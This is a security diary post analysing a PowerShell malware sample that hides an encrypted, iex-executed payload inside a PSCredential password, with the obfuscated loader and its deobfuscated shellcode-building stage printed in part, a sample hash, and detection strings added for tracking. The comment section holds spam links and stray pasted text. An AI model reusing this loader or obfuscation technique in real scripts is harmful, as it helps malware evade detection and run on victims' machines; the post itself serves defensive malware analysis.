Powershell Payload Stored in a PSCredential Object

Published: 2020-04-27
Last Updated: 2020-04-27 06:44:36 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

An interesting obfuscation technique to store a malicious payload in a PowerShell script: In a PSCredential object!

The PSCredential[1] class can be used to manage credentials in a centralized way. Just have a look at this example.

First, let's encrypt our strong password:

PS C:\Users\REM> $password = ConvertTo-SecureString 'MyStr0ngP4ssw0rd' -AsPlainText -Force
PS C:\Users\REM> $password
System.Security.SecureString

Now, we can create the PSCredential object:

PS C:\Users\REM> $credential = New-Object System.Management.Automation.PSCredential ('admin', $password)
PS C:\Users\REM> $credential

UserName                     Password
--------                     --------
admin    System.Security.SecureString

To get the password in cleartext, just do this:

PS C:\Users\REM> $credential.GetNetworkCredential().Password
MyStr0ngP4ssw0rd

The sample that I found implements the same technique but, as you can expect now, the password is not a simple string but PowerShell code that can be processed via 'IEX'. Here is the sample of code:

( NEw-ObJECT manaGEMeNT.AUtomatiON.pScreDENtial  ' ', ( '
76492d1116743f0423413b16050a5345MgB8AEUANQBJAHEATABtAHUAVAB1AEoAdwBYADkAMgA1AHYANgBqADUAZgBuAGcAPQA9AHwAMAA1AGQAMQAzADEAOABmADcAOAA1AGMAZQBjAGIAMAB
jADIAYQBhADQAZQA0ADMAZQAzADIAOABmAGMANQA3ADkAMABhADYANwA5ADEAZgA5ADgAYgA4AGMANgA1AGYAYwAzADEANwA3ADEAYQA0AGMANwBiADQAZAA3AGIANgBiAGYANwBiAGYAZQA0AD
EAZgBjADQAOABkAGIAZAAxAGUAYgA2ADEAZABkADMAMQA0ADcAZQBmAGYAZQA0ADEAYwA3AGMAMAA2ADgANAA4ADIANQA5ADkAZAAwADIAZAAyAGIAYgA0AGMAYQAxAGIANQAyADMAYgBjADcAO
QA0AGIANgA2ADAAMAA1ADkANgA0ADMAYQA2AGEANwBlADgAMgAxAGYAZAAyAGMAZgA4AGQANwBmAGIAOQAxADIAYgBiAGEAYQAxAGQAYgA1ADQAOAA4ADAAZAA5ADQAOAAwADAAMwA5ADcANQBh
AGQAZQA4ADMAZgAwADYAZQBkAGQAMgBjADAANQA3AGEAZgBhADgAOQBmADkAMAA2ADcAZAA5AGIAYwBiADAAOAAxADkAOAAxAGUANwBlAGQAZgA5ADQANgAwADkAOQBiADAAYgBkADIAZQBhADU
AZAA0ADAANgBiAGQAMABlAGUAOABmADEAYgA4ADEAMgBlAGMAOABhADAAYQAyADAAZgBkADMANwBjADQANABkAGUAMQAzADMANQBhADUAZgAyADMAYgBiADUAMQBiAGYANgAwADUAYgBjADMAMA
AzAGQANAA1ADkANQBmADcAYgA1ADIAZQA0ADIAOQA0ADQAMwBmAGMANgA1AGIAOQA2ADQAMwBmAGEAOAAzADUAZABmADgAMABmAGQAZQBmADQAZgAwAGUAYQBkAGEAOQAyADgANwA0AGUANABjA
DcANQAyADEAMgBjADEAMgBjADgAMgBkADYAMgAyADYAMwBmAGYAMgBmADgAZQA0ADUAZAA2ADcAZQAwAGUANQAzAGYAZABkADgANwA5AGIAOQA1AGIAMAAwAGUANwA4AGMAYwA0ADQAYgAxAGQA
NgBkAGUAOQA1ADkAYwA1ADcANwA4AGEAMQAxAGQAYgBiAGMANQAwADIAYQA5AGUAYgA5AGEAZQBlAGEAMQBiAGQAYQA3ADgANQBlADQAMgAyADAAMABhAGQAOAA1ADQAOQBhADkAMwA1ADIAMwA
3AGEAYQBlADEAZgAxADgANwA5ADMAYwA5AGUAZgA1AGQAMAA5AGMAOQA4ADQAMwAyADcAZgA0ADAAYgA2ADUANwA1ADEANQAyAGMAMAAxADcAYQBhADMANwAyADkAYQAyADYAYwBmAGUAZgBlAD
UAOABkADAAZgA2ADAAYwAyAGYAYgBhADEANgBkAGIAOAAyAGMAMgBlADYAMgBkADUAMABhAGIAMQAwADkAMwBjAGMANQBmADMAMABkADgANwAxADQAZQAwADAAMwBjADgAMABlADUAYwBjADYAY
(...code removed...)
ADEAMAA3ADQANgAyADgAZQBiADIANwBhADkAYwAxADkAMABlADQANQA1ADcAMQBjAGMAMQAwADEAZAA5ADgAOQBiADkANwAwAGEAZQA4ADcAZAAzAGMAZAA2ADMAZgBhAGUANgBiAGMAZABiADQ
AOABjADQAOQBmADgANAA0AGMAMgBjAGMAOABjAGUANwA4ADcAYwBmAGQAYgBhAGIAYgAzAGEAOAA1AGEAMAAwADYAOQA0AGQAYQBlADcAOABjAGEANgA2ADkANgBjADAAMwA5ADMAOQBmADAAMQ
AxAGMAZQBiAGEAZAAyADgAMQAzADMAZAAyAGMAZABkAGEAYgBkADgAYwA5AGYAMQBkADMAMAA0ADAANgBhADEAYgA5AGQAYgBmADAAZgBjAGYANwA2AGMAMwA2ADIAZAA2ADQANABkADQANwBlA
DgAMwAxAGQAYQBiADIAMQA5AGQAMgBmADAAYQBmADkAZgAzAGMANAAyAGUAZQAyAGQAMwA1ADgANwAwADYANwBmADYAOAA1ADYAOAA3ADYANABkAGIAOABiADQAMgA2ADUANAA4AGEAZQA3ADYA
'|cOnVErtTo-seCUreSTriNG -KeY (1..32) )).getnETwoRKcrEDEnTiaL().PAsSWOrD | iex

I removed most of the data for more readability. The complete code is approximately 70KB.

You can see the presence of a call to ConvertTo-SecureString(). It's mandatory to convert the string into a secure string. Indeed, SecureStrings can't be printed as regular strings and must be converted. You can compare ConvertTo-SecureString to decoding a Base64 chunk of data.

Here is the content of the "password":

. ( $VERBOSePRefereNCe.toSTRiNG()[1,3]+'X'-join'')( [sTRInG]::join( '' ,([rEGEX]::mAtchEs( ") )63]RAHc[]GniRts[,)96]RAHc[+79]RAHc[+201]RAHc[(
(EcAlPeR.)43]RAHc[]GniRts[,'iWy'(EcAlPeR.)93]RAHc[]GniRts[,)78]RAHc[+511]RAHc[+66]RAHc[((EcAlPeR.)'}5dx'+'0,ffx0,35x0,0x0,a6x0,65x0,2ax0,5bx0,
0fx0,bbx0,0x0,56'+'x0,d6x0,e2x0,37x0,e6x0,46x0,46x0,97x0,d6x0,e2x0,e6x0,46x0,46x0,ffx0,ffx0,ffx0,b6x0,8ex0,f5x0,3cx0,85x0,5ex0,57x0,0cx0,58x0,
3cx0'+',1x0,7x0,b8x0,fcx0,47x0,0cx'+'0,58x0,5dx0,ffx0,2ex0,98x0,69x0,21x0,86x0,65x0,35x0,0x0,0x0,02x0,0x0,86x'+'0,'+'75x0,7ex0,98x0,35x0,35x0,
39x0,5dx0'+',ffx0,5ex'+'0,35x0,4ax0,85x0,86x0,35x'+'0,0x0,04x0,0x0,0x0,86x0,0x0,0x0,01x0,0x0,'+'86x0,04x0,a6x0,0x0,0x0,0x0,a4x0,8ex0,dcx0,57x0
,f4x0,5dx0,ffx0,0ex0,53x0,0fx0,44x0,86x0,0x0,0x0,31x0,88x0,86x0,41x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,8'+'6x0,65x0,35'+'x0,35x0,35x
0,35x0,5dx0,ffx0,68x0,e9x0,64x0,57'+'x0,8'+'6x0,65x0,f1x'+'0,a6x0,05x0,4x0,a6x0,0ex0,98x0,0x0,0x0,33x0'+',08x0,86x0,f5x0,ax0,a6x0,69x0,5dx0,ff
x0,b3x0,e2x0,55x0,bex0,86x0,65x0,35x0,75x0,35x'+'0,35x0,35x0,48x0,0ex0,23x0,0x0,86x0,35x0,6cx0,98x0,5dx0,ffx0,6cx0,f9x0,98x0,75x0,8'+'6x0'+',0
5x0,0x0,37x0,86x0,93x'+'0,37x0,64x0,b4x0,07x0,26x0'+',14x0,45x0,13x0,d6x0,14x0,17x0,86x0,47x0,14x0,34x0,77x0,03x0,27x0,24x0,85x0,96x0,'+'d2x0,
f4x0,86x0,e4x0,14'+'x0,17x0,65x0,76x0,37x0,37x0,97x0,c4x0,c6x0,13x0,'+'47x0,15x0,a6x0,57x0,47x0,95x0,85x0,03x0,15x'+'0,96x0,15x0,85x0,45x0,05x
0,d4x0,74x0,25x0,84x0,53x0,03x0,c4x0,47x0,13x0,a5'+'x0,73x0,74'+'x0,43x0,14x0,77x0,e6x0,d6x0,54x0,7'+'5x0,35x0,75x0,77x0,b6x0,54x0,14x0,67x0,f
5x0,'+'a6x0,43x0,95x0,15x0,e4x0,53x0,55x0,26x0,f2x0,0x0,0x0,0x0,8ex0,8ex0,0x0,0x0,1x0,bbx0,86x0,35x0,35x0,3x0,a6x0,35x'+'0,35x0,5dx0,ffx0,7ax0
,97x0,65x0,a3x0,86x0,0x0,f6x0,b6x0,36x0,56x0,74x0,02x0,56x0,b6x0,96'+'x0,c6x0,02x0,92x0,03x0,e2x0,13x0,13x0,a3x0,67'+'x0,27x0,02x0,b3x0,03x0,e
2x0,73x0,f2x0,47x0,e6x0,56x0,46x0,96x0,27'+'x0,45x0,02x0,b3x0,13x0,e2x0,63x0,02x0,45x0,e4x0,02x0,37x0,77x0,f6x0,46x0,e6x0'+',96x0,75x0,82x0,02
x'+'0,03x0,e2x0,53x0,f2x0,16x0,c6x0,c6x0,96x0,a7x0,f'+'6x0,d4x0,0x0,0x0,0x0,e3x0,8ex0,35x0,35x0,35x0,35x0,35'+'x0,bdx0,13x0,5dx0,ffx0,7x0,62'+
'x0'+',77x0,c4x0,86x0,45x0,96x0,e6x0,96x0,77x0,86x0,0x0,47x0,56x0,e6x0,86x0,d5x0,d8x0,bex0,21x0,b8x0,a5x0,f5x0,f5x0,0ex0,ffx'+'0'+',15x0,a5x0,
95x0,16x0,b5x0,b5x0,42x0,42x0,44x0,98x0,0dx0,1x0,b8x0,4x0,b8x0,3dx0,1x0,c1x0,85x0,b8x0,b4'+'x0,cx0,b8x0,'+'66x0,3dx0,1x0,42x0'+',8'+'5x0,b8x0,
85x0,4ex0,57x0,42x0,d7x0,b3x'+'0,8fx0,d7x0,3x0,6fx0,57x0,0ex0,83x0,7cx0,1x0,dx0,fcx0,1cx0,cax0,ffx0,13x0,6dx0,1x0,b8x0,43x0,b8x0,94x0,a3x0,3ex
0,81x0,94x0,b8x0,3dx0,1x0,02x0,95x0,b8x0,1'+'5x0,1dx0,1x0,84x0,3ex0,87x0,11x0,c4x0,b8x0,c3x0,a4x0,b8x0,01x0,25x0,b8x0,75x0,25x0,2fx0,2ex0,7cx0
,1x0,dx0,fcx0,1cx0,02x0,c2x0,2x0,c7x'+'0,16x0,c3x0,cax0,ffx0,13x0,62x0,a4x0,7b'+'x0,fx0,82x0,27x0,b8x0,41x0,25x0,b8x0,cx0,25x0,b8x0,03x0,0'+'5
x0,b8x0,46x'+'0,0cx'+'0,13x0,5ex0,98x0,06x0,0x0,0x0,0x0,28x0,8ex0,cfx0 = fubEaf ]][etyB[ = fubEaf '+']][etyB[{esle}5dx0,ffx0,65x0,2ax0,5bx0,0f
x0,2c'+'x0,7cx0,94x0,95x0,0x0,a6x0,85x0,'+'3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58'+'x0,02x0,4cx0,'+'38'+'
x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,2ex0,98x0,69x0,21x0,abx0,94x0,9f'+'x0,98x0,94x0,0x0,'+'0x0,02x0'+',0x0,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98
x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,'+'5dx0,ffx0,0x0,0x0,0x0,0x0,5ex0,35x0,4ax0,85x0,abx0,94x0,0x0,0x0,01x0,0x0,0cx0,7cx0,94x0,01x0,2ex
0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,'+'0x0,0x0,0x0,55x0,8ex0,aax0,bex0,2x0,4'+'7x0,fcx0,ffx0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,'+'0ex0
,53x0,0fx0,44x0,abx0,94x0,0x0,0x0,31x0,88x0,1cx0,7cx'+'0,84x0,f'+'1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx
0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5'+'x0,35x0,0cx0,13x0,d4x0,5d'+'x0,ffx0,0x0,0x0,0x0,0x0,68x0,e9'+'x0,64x0,57x0,abx0,94x0,95x0,14x0,
4x0,a6x0,0ex0,98x0,94x0,0x0,0x'+'0,33x0,08x0,86x0,25x0,a5'+'x0,f1x0,a6x0,1fx0,98x0,84x0,f5x0,ax0,a6x'+'0,6cx0,98x0,84x0,5dx0,ffx0'+',b3x0,e2x0
,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,0x0,0x0,0x0,0x0,48x'+'0,0ax0,23x0,0x0,8bx0,84x0,'+'35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0,
84x0,0x0,17x0,66x0,65x0,63x0,a6'+'x0,93x0,16x0,67x0,83x0,54x0,76x0,84x0,d4x0,d2'+'x0,26x0,05x0,67x0,94x0,46x0,45x0,34x0,74x0,03x0,a6x0,d4x0,e6
x0,03x0,37x0,46x0,25x0,53x0,63x0,54'+'x0,97x0,b4x0,96x'+'0,95'+'x0,d6x0,67x0,34x0,37x0,d2x0,46x0,37x0,47x0,43x0,33x0,46x0,77x0,34x0,05x0,96x0'
+','+'c4x0,64x0,35x0,24x0,85x0,23x0,33x0,43x0,25x0,63x0,64x0,c4x0,a5x0,53x0,13x0,53x'+'0,56x0,e6x0,e4x0,66x0,f4x0,84x0,a5x0,a6x0,13x0,a7x0,f4x
0,26x0,76x0,85x0,15x0,36x0,97x0,86x0,a4x0,76'+'x0,c4x0,17x0,45x0,26x0,64x0,37x0,86x0,b6x0,26x0,'+'a4x0,64x0,76x0,86x0,56x0,74x0,13x0,76x0,15x0
,e4x0,67x0,07x0,f2x0,0x0,0x0,0x0,f6x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,6cx0'+',f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,0
x0,0x0,1x0,bbx0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,0x0,56x0,d6x0,e2x0,37x0,e6x0,46x0,46x0,97x0,d6x0,e2x0,e6x0,46x0,46x0,0x0,0x0,0x0,ex0,8ex0,5
dx0,ffx0,0x0,0x0,0x0,0x0,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0'+',1ex0,98x0,84x0,35x0,35x0,5dx0,ffx0
,7x0,62'+'x0,77x0'+',c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,0x0,47x0,56x0,e6x0,96x0,e6x0,96x0'+',77x0,ebx0'+',94x'+'0,35x0,bdx0,13x0,84x
0,d5x0,ffx0,ffx0,f'+'fx0,b4x0'+',9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,'+'1
4x0,a5x0,95x0,e5x0,85x0,14x0,85x0,14x0'+',0dx0,1x0,84x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0'+'dx0,1
x0,94x0,42x0,04x0,b8x0,44x0,85'+'x0,8dx0,5'+'7x0,1dx0,93x0,54x0,8x0,42x0'+',c4x0,3x0,c4x'+'0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,1
4x0,cax0,0'+'cx0,13x0,84x0'+',9cx0,13x0,d4x0,6dx0,1x0,84x0,88x0,43x0,b8x0,14x0'+',9cx0,ffx0,84x0,65x0,3ex0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,8
1x0,84x0,b8x0,05x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,0x0,0x0,0x0,88x0,08x0,'+'b8x0,0x0,0x0,0x0,27x0,58x0,fx0,2x0,bx0,81x0,8'+'7x0,18x0,66
x0,0dx0,1x0,84x0,c3x0,24x0,b8x0,02x0,25x0,b8x0,84x0,15x0,14x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,'+'14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0,
cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,a4x0'+',a4x0,7bx'+'0,f'+'x0,84x0,05x0,27x0,b8x0,84x0,02'+'x0,25x0,b8x0,84x0,81x'+'0,25x0,b8x0,84x0,06x0,25x
0,b8x0,84x0,56x0,2dx0,13'+'x0,84x'+'0,65x0,15x0,25x0,05x0,14x0,15x0,14x0,0x0,0x0,0x0,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0 = fub'+'Eaf ]][etyB[ =
 fubEaf ]][etyB[{)WsB46DMAWsB qe- '+']iWyERUTCETIHCRA_ROSSECORPiWy[selbairaVtnemnorivnE.ofnItratS.kcu'+'femosEaf( fi'(( )'x'+]31[DiLLeHs$+]1[D
iLleHs$ ( & " ,'.', 'R'+'ig'+'hTTOLe'+'FT')| foreAch{$_.vAlUE })) )

If you're interested in this technique, the file is available on VT (SHA256:ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302) with a score of 6/59[2].

Based on this, I added 'Management.Automation.PSCredential' and 'ConvertTo-SecureString' to the list of suspicious strings to track in PowerShell scripts!

[1] https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential?view=pscore-6.2.0
[2] https://www.virustotal.com/gui/file/ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Monday, April 27th 2020 https://isc.sans.edu/podcastdetail.html?id=6970

Comments

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<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
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https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

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